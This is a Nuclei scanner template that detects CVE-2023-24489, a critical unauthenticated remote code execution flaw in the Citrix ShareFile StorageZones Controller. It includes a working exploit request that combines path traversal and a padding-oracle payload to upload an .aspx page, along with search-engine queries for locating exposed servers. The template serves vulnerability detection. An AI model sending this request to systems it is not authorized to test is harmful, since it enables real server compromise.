id: CVE-2023-24489

info:
  name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution
  author: DhiyaneshDK,dwisiswant0
  severity: critical
  description: |
    A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24489
    - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/
    - https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
    - https://github.com/20142995/sectool
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24489
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.94662
    epss-percentile: 0.9985
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
      - title:"ShareFile Storage Server"
      - http.title:"sharefile storage server"
    fofa-query: title="sharefile storage server"
    google-query: intitle:"sharefile storage server"
  tags: cve2023,cve,sharefile,rce,intrusive,fileupload,fuzz,kev,citrix,vkev,vuln
variables:
  fileName: '{{rand_base(8)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "ShareFile Storage Server"
          - "ShareFile"
          - "documentum"
        condition: or
        internal: true

  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
        Host: {{Hostname}}

        <%@ Page Language="C#" Debug="true" Trace="false" %>
        <script Language="c#" runat="server">
        void Page_Load(object sender, EventArgs e)
        {
            Response.Write("{{randstr}}");
        }
        </script>

    payloads:
      padding: helpers/payloads/citrix_paddings.txt
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'body == "ERROR: The method or operation is not implemented."'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
# digest: 490a0046304402207285dddf4da534a69ee798471d690f4af294ea33aa7ecbd9f0814b40ef6ed8c2022055fee9d573871fe9ef8ea5179a6d1227dcf262358734abe25533f77366625d64:922c64590222798bb761d5b6d8e72950